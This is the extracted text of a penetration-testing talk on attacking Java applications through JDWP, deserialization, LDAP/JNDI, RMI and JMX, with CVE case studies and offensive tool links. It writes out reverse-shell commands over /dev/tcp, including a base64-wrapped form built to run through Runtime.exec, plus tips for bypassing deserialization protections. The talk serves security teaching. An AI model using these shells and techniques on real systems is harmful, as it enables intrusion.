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BEFORE WE BEGIN

Disclaimer: My 
opinions are my 

own

Warning: The 
presentation 
may contain 

traces of humour



0. INTRODUCTION



MAN BEHIND THE SHELL



MAN BEHIND THE SHELL



MATEI “MAL” BADANOIU

• HACKING STUFF FOR 7 YEARS

• PROFESSIONAL EXPERIENCE 6 YEARS

• +100 0-DAYS/CVES

• ORACLE (MYSQL CONNECTOR, WEBLOGIC, AGENT13)

• CISCO (SDWAN)

• APACHE (NIFI, SOLR, OFBIZ, JAMES, ETC.)

• ETC.



HTTPS://GITHUB.COM/MBADANOIU

https://github.com/mbadanoiu


0.1. SETTING THE 
SCENE/INITIALIZING THE 

ENVIRONMENT



YOU ARE A PENTESTER



CLIENT WANTS YOU TO TEST A JAVA APPLICATION



DEADLINE IS YESTERDAY



TL; DR

•DESERIALIZATION

•DESERIALIZATION
•DESERIALIZATION

•DESERIALIZATION



1. JAVA DEBUG WIRE 
PROTOCOL (JDWP)



JAVA DEBUG WIRE PROTOCOL
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• NMAP SAYS JDWP YOU SAY PWNED
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JAVA DEBUG WIRE 
PROTOCOL

• NOT DESERIALIZATION

• NMAP SAYS JDWP YOU SAY PWNED

• DID NOT FIND ANY JDWP RELATED 

0-DAYS/CVES IN “OUT OF THE BOX” 3RD 

PARTY SOFTWARE

• DID MANAGE TO FIND IT IN CLIENT’S 

INFRASTRUCTURE PENTESTS

• … AN UNSETTELING NUMBER OF TIMES



HTTPS://WWW.YOUTUBE.COM/WATCH?V=9HLXTM
NJGWW
(2015)

https://www.youtube.com/watch?v=9hlxTmNJgWw
https://www.youtube.com/watch?v=9hlxTmNJgWw


JAVA DEBUG WIRE PROTOCOL

• INBUILT JAVA FUNCTIONALITY USED FOR DEBUGGING A PROGRAM AT RUNTIME

• TCP PACKET-BASED NETWORK BINARY PROTOCOL

• HOOK/SET BREAKPOINT ON A COMMONLY USED JAVA FUNCTION AND REPLACING IT WITH 

“JAVA.LANG.RUNTIME”



1.1. EXAMPLE JDWP EXPLOIT IN 
MISCONFIGURED APACHE 

DRUID



IN THIS CASE WE INTENTIONALLY MISCONFIGURE A 
APACHE DRUID DOCKER

(DISCLAIMER DEFAULT APACHE DRUID IS NOT VULNERABLE TO THIS)



EXPLOITING JAVA DEBUG WIRE PROTOCOL - NMAP



HTTPS://GITHUB.COM/IOACTIVE/JDWP-SHELLIFIE
R

https://github.com/IOActive/jdwp-shellifier
https://github.com/IOActive/jdwp-shellifier


EXPLOITING JAVA DEBUG WIRE PROTOCOL – 
CHOOSING A JAVA CLASS TO HOOK

• DEFAULT FUNCTION HOOKED BY JDWP-SHELLIFIER:

• JAVA.NET.SERVERSOCKET.ACCEPT – SOMETIMES WORKS OR DOESN’T WORK AT ALL

• STRING FUNCTIONS - HTTPS://DOCS.ORACLE.COM/JAVASE/7/DOCS/API/JAVA/LANG/STRING.HTML:

• JAVA.LANG.STRING.LENGTH

• JAVA.LANG.STRING.EQUALS

• JAVA.LANG.STRING.ISEMPTY

• JAVA.LANG.STRING.INDEXOF - RECOMMENDED BY HACKTRICKS, USUALLY WORKS BUT MAY TAKE SOME TIME

• OTHER USEFUL FUNCTIONS:

• JAVA.LANG.OBJECT.EQUALS

• JAVA.NET.URL.OPENCONNECTION – WORKS FOR HTTP SERVERS

https://docs.oracle.com/javase/7/docs/api/java/lang/String.html


EXPLOITING JAVA DEBUG WIRE PROTOCOL – 
SUCCESSFUL EXPLOIT



TANGENT: ENCODING 
COMMANDS FOR 

JAVA.LANG.RUNTIME



JAVA.LANG.RUNTIME PECULIARITIES

 java.lang.Runtime.exec(String) Shell Interpretation (BASH) Result
ls -la ls '-la' OK

ls "My Directory" ls '"My' 'Directory"' NOT OK
curl http://127.0.0.1 > payload curl http://127.0.0.1 '>' payload NOT OK
curl http://127.0.0.1 -O payload curl http://127.0.0.1 -O payload OK

bash -i >& /dev/tcp/127.0.0.1/4444 
0>&1

bash -i '>&' /dev/tcp/127.0.0.1/4444 
'0>&1'

NOT OK

bash -c 
{echo,YmFzaCAtaSA+JiAvZGV2L
3RjcC8xMjcuMC4wLjEvNDQ0NC

AwPiYxCg==}|{base64,-d}|bash

bash -c 
'{echo,YmFzaCAtaSA+JiAvZGV2L
3RjcC8xMjcuMC4wLjEvNDQ0NC

AwPiYxCg==}|{base64,-d}|bash'

OK



SOLUTION

• BASH:

• UTF-8 BASE64 ENCODE COMMAND

• WRAP IT IN “BASH -C {ECHO,<B64_PAY>}|{BASE64,-D}|BASH”

• EXAMPLE COMMAND “ID”: 

• POWERSHELL:

• UTF-16LE BASE64 ENCODE COMMAND

• USE POWERSHELL INBUILT FLAG “-ENCODEDCOMMAND”

• EXAMPLE COMMAND “ID”: 



HTTPS://R0YANX.COM/TOOLS/JAVA_EXEC_ENCODE

https://r0yanx.com/tools/java_exec_encodE


2. DESERIALIZATION



DESERIALIZATION
(NOT A COMPLETE LIST)

RMI JMX LDAP JDBC

T3 IIOP Corba

Oracle 
Mojarra/Apache 

MyFaces 
Viewsate

BlazeDSAMF Hessian|Burlap Castor Jackson

JsonIO JYAML Kryo KryoAltStrategy

Red5AMF SnakeYAML Xstream YAMLBeans



HTTPS://GITHUB.COM/GRRRDOG/JAVA-
DESERIALIZATION-CHEAT-SHEET

https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet
https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet


JAVA SERIALIZATION

• SERIALIZE EVERYTING



• SERIALIZE EVERYTING – BUT AT WHAT COST

• MARK REINHOLD: “SERIALIZATION WAS A 

HORRIBLE MISTAKE”

• “ORACLE PLANS TO DROP JAVA 

SERIALIZATION SUPPORT, THE SOURCE OF 

MOST SECURITY BUGS”

HTTPS://WWW.BLEEPINGCOMPUTER.COM/

NEWS/SECURITY/ORACLE-PLANS-TO-DROP-J

AVA-SERIALIZATION-SUPPORT-THE-SOURCE-

OF-MOST-SECURITY-BUGS/ 

JAVA SERIALIZATION

https://www.bleepingcomputer.com/news/security/oracle-plans-to-drop-java-serialization-support-the-source-of-most-security-bugs/
https://www.bleepingcomputer.com/news/security/oracle-plans-to-drop-java-serialization-support-the-source-of-most-security-bugs/
https://www.bleepingcomputer.com/news/security/oracle-plans-to-drop-java-serialization-support-the-source-of-most-security-bugs/
https://www.bleepingcomputer.com/news/security/oracle-plans-to-drop-java-serialization-support-the-source-of-most-security-bugs/


BASIC HANDS-ON INTRODUCTION TO JAVA 
DESERIALIZATION

• DESERIALIZATION VULNERABILITIES: ROOT CAUSE AND IMPORTANCE

   CHAPTER 1: INTRODUCTION TO JAVA DESERIALIZATION

HTTPS://GITHUB.COM/HACKLIKEARED/JAVA_DESERIALIZATION

https://github.com/hacklikeared/Java_Deserialization


SERIALIZATION & DESERIALIZATION

• SERIALIZATION:

• JAVA OBJECT =SERIALIZE=> 

DATA THAT CAN BE SENT OVER TCP/STORED IN FILES

• NEW OBJECTOUTPUTSTREAM(…).WRITEOBJECT(OBJ);

• NOTE: OBJECT MUST IMPLEMENT SERIALIZABLE

• DESERIALIZATION:

• SERIALIZED DATA =DESERIALIZATION=>

FULLY INTERACTABLE JAVA OBJECT

• NEW OBJECTINPUTSTREAM(…).READOBJECT();



2 FLAVOURS OF JAVA SERIALIZATION

“AC ED 00 05” BINARY 
FORMAT

OTHER CUSTOM 
MARSHALING



DESERIALIZATION 
- CUSTOM 
MARSHALING

SnakeYAML (YAML)

Xstream (XML)

Jackson (JSON)

ETC.



HTTPS://GITHUB.COM/MBECHLER/MARSHALSEC

https://github.com/mbechler/marshalsec


1.1. CVE-2021-46364 - 
MAGNOLIA CMS YAML 

DESERIALIZATION



CONTENTS OF MALICIOUS YAML FILE



HTTPS://GITHUB.COM/ARTSPLOIT/YAML-P
AYLOAD

https://github.com/artsploit/yaml-payload
https://github.com/artsploit/yaml-payload




CVE-2021-46364 – MAGNOLIA CMS YAML 
DESERIALIZATION 



SERIALIZATION - BINARY FORMAT
(JAVA DEFAULT)

• JAVA SERIALIZAED OBJECTS:

• AC ED 00 05 (HEX)

• RO0 (BASE64)

• CONTENT-TYPE: APPLICATION/X-JAVA-SERIALIZED-OBJECT

• 1F 8B 08 00 (HEX GZIP)

• H4SIA (BASE64 GZIP)



HTTPS://GITHUB.COM/FROHOFF/YSOSERIAL

HTTPS://GITHUB.COM/FROHOFF/YSOSERIAL/TREE/NEWGADGETS

(TIP: IF “URLDNS” DOES NOT WORK, NOTHING WORKS)

https://github.com/frohoff/ysoserial
https://github.com/frohoff/ysoserial/tree/newgadgets


1.2. CVE-2022-41853 - HSQL 
CALL STATIC JAVA METHODS

(RESEARCH)





HTTPS://NVD.NIST.GOV/VULN/DETAIL/CVE-20
22-41853

https://nvd.nist.gov/vuln/detail/CVE-2022-41853
https://nvd.nist.gov/vuln/detail/CVE-2022-41853


HTTPS://SWARM.PTSECURITY.COM/RCE-IN-F5-BIG-IP
(2020)

https://swarm.ptsecurity.com/rce-in-f5-big-ip


NOTE: ALTHOUGH HSQL IS MENTIONED IN THE DOCUMENTATION 
DEFAULT SOLR IS NOT VULNERABLE TO THIS EXPLOIT





USING YSOSERIAL TO GENERATE THE PAYLOAD



ORG.APACHE.COMMONS.LANG.SERIALIZATIONUTILS.DESERIALIZE
PUBLIC STATIC <T> T DESERIALIZE(BYTE[] OBJECTDATA)



ORG.APACHE.LOGGING.LOG4J.CORE.CONFIG.PLUGINS.CONVERT

• CLASS BASE64CONVERTER:

• PUBLIC STATIC BYTE[] PARSEBASE64BINARY (STRING ENCODED)

• CLASS HEXCONVERTER

• PUBLIC STATIC BYTE[] PARSEHEXBINARY (STRING S)



CAN WE EXECUTE DESERIALIZATION RIGHT NOW?
(NO)



JAVA.LANG.SYSTEM.SETPROPERTY

• SETS ‘ORG.APACHE.COMMONS.COLLECTIONS.ENABLEUNSAFESERIALIZATION’ TO ‘TRUE’

• USED TO DISABLE THE DESERIALIZATION PROTECTIONS

• WITHOUT IT:

• THE OBJECT WOULD BE PREVENTED FROM CONSTRUCTING ITSELF

• RCE WOULD NOT BE ACHIVED







TANGENT: DESERIALIZATION 
ERROR MESSAGES



DESERIALIZATION ERROR MESSAGES

• PRO TIP: “DO NOT TRUST EITHER SUCCESS OR FAILURE MESSAGES”

• EVERY DESERIALIZATION RESULTS IN AN ERROR EVEN IF IT WORKS OR NOT

• IF WE HAVE ACCESS TO THE ERROR WE CAN PINPOINT WHAT WENT WRONG AND CHANGE 

OUR PAYLOAD ACCORDINGLY



DESERIALIZATION SUCCESS ERROR
(URLDNS)



CLASS NOT FOUND EXCEPTION
(BEANSHELL1)

SOLUTION: FIND A WAY TO LOAD RESPECTIVE JAR



SERIALVERSIONUID MISMATCH
(CLOJURE)

• SOLUTIONS: 

• IF JAVAX.* CLASS: RUN TOOL WITH THE SAME VERSION OF JAVA AS THE SERVER

• IF OTHER CLASS: RECOMPILE THE TOOL WITH THE CORRECT VERSION OF THE RESPECTIVE JAR

• FORCE LOCAL VERSION OF SERIALVERSIONUID TO MATCH THE SERVER (E.G. MANUALLY CHANGE 

AND RECOMPILE JAR)



FALSE NEGATIVE
(BEANSHOOTER SERIAL MODE)
SOLUTION: DO NOT BLINDLY TRUST THE TOOL



3. LIGHTWEIGHT 
DIRECTORY ACCESS 
PROTOCOL (LDAP)



ATTACKING JAVA LDAP

• 2 ATTACK TYPES:

• DESERIALIZATION

• CODEBASE/REFLECTION

• FUNCTIONS THAT TRIGGER THE VULENRABILITY:

• OBJECT LOOKUP JAVAX.NAMING.CONTEXT.LOOKUP(STRING NAME)

• OBJECT LOOKUP JAVAX.NAMING.CONTEXT.LDAP.LDAPCONTEXT(STRING NAME)

• PUBLIC STATIC <T> T  JAVAX.NAMING.INITIALCONTEXT.DOLOOKUP(STRING NAME)



HTTPS://GITHUB.COM/VERACODE-RESEARCH/RO
GUE-JNDI

https://github.com/veracode-research/rogue-jndi
https://github.com/veracode-research/rogue-jndi


HTTPS://GITHUB.COM/PIMPS/JNDI-EXPLOIT-KIT

https://github.com/pimps/JNDI-Exploit-Kit


3.1. CVE-2023-34212 - APACHE 
NIFI JAVA DESERIALIZATION VIA 

JNDI COMPONENTS 
(LDAP DESERIALIZATION)





COMMANDS TO SETUP JNDI-EXPLOIT-KIT
NOTE: J.E.K. NEEDS TO BE RECOMPILED WITH CORRECT VERSION OF 

CLOJURE (1.11.0 INSTEAD OF 1.8.0)





3.2. CVE-2022-41853
(SET PROPERTY CODEBASE TRUE 

+ LDAP LOOKUP)



HTTPS://GITHUB.COM/ISAFEBLUE/PRESENTATION-SLIDES/BLOB/MAIN/BCS
2022-%E6%8E%A2%E7%B4%A2JNDI%E6%94%BB%E5%87%BB.PDF

(DISCLAIMER: DIDN’T WORK IN SOLR ENV)

https://github.com/iSafeBlue/presentation-slides/blob/main/BCS2022-%E6%8E%A2%E7%B4%A2JNDI%E6%94%BB%E5%87%BB.pdf
https://github.com/iSafeBlue/presentation-slides/blob/main/BCS2022-%E6%8E%A2%E7%B4%A2JNDI%E6%94%BB%E5%87%BB.pdf


JAVA.LANG.SYSTEM.SETPROPERTY

• SETS ‘COM.SUN.JNDI.LDAP.OBJECT.TRUSTURLCODEBASE’ TO ‘TRUE’

• ALLOWS LDAP TO LOAD JAVA CODEBASE FROM ARBITRARY URL (HTTP, FTP, FILE, ETC.)

• WITHOUT IT THE MALICIOUS CODEBASE WOULD NOT BE REQUESTED OR EXECUTED

• NOTE: HIGHLY SENSITIVE, IF YOU GIVE IT A WRONG CODEBASE IT MAY:

• NOT LOAD ANY OTHER CODEBASES AT ALL

• CRASH THE APPLICATION IF CODEBASE IS NOT SUPPORTED (E.G. 1.8 CODEBASE IN <1.7 

ENVIRONMENT)



JAVAX.NAMING.INITIALCONTEXT

• PUBLIC STATIC <T> T DOLOOKUP(STRING NAME)

• EXAMPLE:

• LDAP LOOKUP: JAVAX.NAMING.INITIALCONTEXT.DOLOOKUP(“LDAP://127.0.0.1”)





4. REMOTE METHOD 
INVOCATION (RMI)



HTTPS://WWW.SLIDESHARE.NET/TOBIASNEITZEL/REM
OTEMETHODGUESSER-BHUSA2021-ARSENAL 

https://www.slideshare.net/TobiasNeitzel/remotemethodguesser-bhusa2021-arsenal
https://www.slideshare.net/TobiasNeitzel/remotemethodguesser-bhusa2021-arsenal


RMI

• DOES NOT SUPPORT AUTHNETICATION!!!

• CALL REMOTE METHODS EXPOSED BY A SERVER (CLASSES EXTEND 

JAVA.RMI.UNICASTREMOTEOBJECT)

• CLIENT HAS A STUB FUNCTION, SERVER HAS THE ACTUAL LOGIC (SKELETON)

• CLIENT SENDS FUNCTION SIGNATURE + ARGUMENTS TO THE RMI SERVER

• SERVER RUNS THE FUNCTION AND RETURNS THE RESULT



HTTPS://WWW.GEEKSFORGEEKS.ORG/REMOTE-METH
OD-INVOCATION-IN-JAVA

https://www.geeksforgeeks.org/remote-method-invocation-in-javA
https://www.geeksforgeeks.org/remote-method-invocation-in-javA


ATTACKING RMI

• RMI SERVERS DO NOT DISCLOSE WHAT FUNCTIONS THEY SUPPORT SO AN ATTACKER NEEDS 

TO EITHER:

• DIRECTLY ATTACK A RMI COMPONENT (BEFORE JEP290 AND JEP407):

• ACTIVATORS

• DISTRIBUTED GARBAGE COLLECTORS (DGC)

• RMI REGISTRIES

• FIND A VALID FUNCTION SIGNATURE



FINDING RMI FUNCTIONS

• BRUTEFORCE THE FUNCTION SIGNATURE



FINDING RMI FUNCTIONS

• BRUTEFORCE THE FUNCTION SIGNATURE

• DECOMPILE A RMI CLIENT AND SEARCH FOR FUNCTIONS THAT EXTEND “JAVA.RMI.REMOTE”

• VOID REGISTERPROCESSTARGET(DE.ELO.IX.IMAGING.REMOTEAPI.CLIENT.PROCESSTARGET D1)



ATTACKING RMI – INTERESTING FUNCTIONS

• NOT ALL RMI EXPOSED FUNCTIONS CAN BE USED FOR DESERIALIZATION:

• FUNCTIONS THAT TAKE NO ARGUMENTS

• JAVAX.MANAGEMENT.REMOTE.RMI.RMISERVERIMPL_STUB: STRING GETVERSION()

• FUNCTIONS THAT TAKE JAVA PRIMITIVES (INT, DOUBLE, CHAR, BOOLEAN, ETC.) AS ARGUMENTS

• DELETE_ROW(INT ID)

• FUNCTIONS OF INTEREST MUST HAVE AT LEAST A NON-PRIMITIVE AS ARGUMENT:

• REMOTECALLREC: REMOTE GETCALLRECMODULE(STRING STR)



BACK IN THE OLD DAYS 
OF 2016 A.D. WHEN 

“DESERIALIZATION 
DINOSAURS” WERE STILL 
ROAMING THE PLAINS 

OF JAVA



JDK ENHANCEMENT 
PROPOSALS #290 
(JEP290)

• KILLED PROTOCOL LEVEL 

DESERIALIZATION (DGC, 

REGISTRY)

• JEP 407 KILLED RMI 

ACTIVATORS

• APPLICATION LEVEL 

DESERIALIZATION IS STILL ALIVE 

AND WELL



HTTPS://MOGWAILABS.DE/EN/BLOG/2019/03/ATTACKING-
JAVA-RMI-SERVICES-AFTER-JEP-290/

HTTPS://MOGWAILABS.DE/EN/BLOG/2019/04/ATTACKING-
RMI-BASED-JMX-SERVICES/

https://mogwailabs.de/en/blog/2019/03/attacking-java-rmi-services-after-jep-290/
https://mogwailabs.de/en/blog/2019/03/attacking-java-rmi-services-after-jep-290/
https://mogwailabs.de/en/blog/2019/04/attacking-rmi-based-jmx-services/
https://mogwailabs.de/en/blog/2019/04/attacking-rmi-based-jmx-services/


HTTPS://GITHUB.COM/QTC-DE/REMOTE-
METHOD-GUESSER

https://github.com/qtc-de/remote-method-guesser
https://github.com/qtc-de/remote-method-guesser


4.1. CVE-2023-48168 - 
ELOENTERPRISE RMI 
DESERIALIZATION



ELO DIGITAL - NMAP



USING JD-GUI TO DECOMPILE THE ELO CLIENT JAR



SETTING UP YSOSERIAL AND USING 
REMOTE-METHOD-GUESSER

• NEED TO:

• CREATE AND COPY “MOZILLARHINO3.JAVA” INTO YSOSERIAL

• RECOMPILE WITH CORRECT VERSION OF MOZILLARHINO (ORG.MOZILLA/RHINO/1.7.11INSTEAD OF 

RHINO/JS/1.7R2)



4.2. CVE-2023-40037- APACHE 
NIFI JNDI URL BYPASS VIA EL 

ELEMENTS
(RMI DESERIALIZATION)



APACHE NIFI – FIX FOR CVE-2023-34212 



APACHE NIFI – BYPASS FOR CVE-2023-34212 



COMMANDS TO SETUP YSOSERIAL

• NEED TO:

• CREATE AND COPY “CLOJURE2.JAVA” INTO YSOSERIAL

• RECOMPILE WITH CORRECT VERSION OF CLOJURE (1.11.0 INSTEAD OF 1.8.0)





5. JAVA MANAGEMENT 
EXTENSIONS (JMX)



JMX

• UNAUTH JMX == DEATH BY MLET

• CONTAINS RMI FEATURES => CAN TRIGGER DESERIALIZATION BEFORE AUTHENTICATING

• BEANSHOOTER’S “--PREAUTH” FLAG

• ALL CLASSES THAT EXTEND MBEAN ARE LISTED (NO BRUTEFORCE NEEDED FOR MBEANS)

• LIKE WITH RMI WE CAN INJECT SERIALIZED OBJECTS INTO NON-PRIMITIVE ARGUMENTS



HTTPS://GITHUB.COM/MOGWAILABS/MJET

https://github.com/mogwailabs/mjet


HTTPS://GITHUB.COM/QTC-DE/BEANSHO
OTER

https://github.com/qtc-de/beanshooter
https://github.com/qtc-de/beanshooter


5.1. CVE-2023-26269: APACHE 
JAMES MISCONFIGURED JMX 

(MLET ATTACK)









5.2. APACHE JAMES JMX 
DESERIALIZATION









Q&A


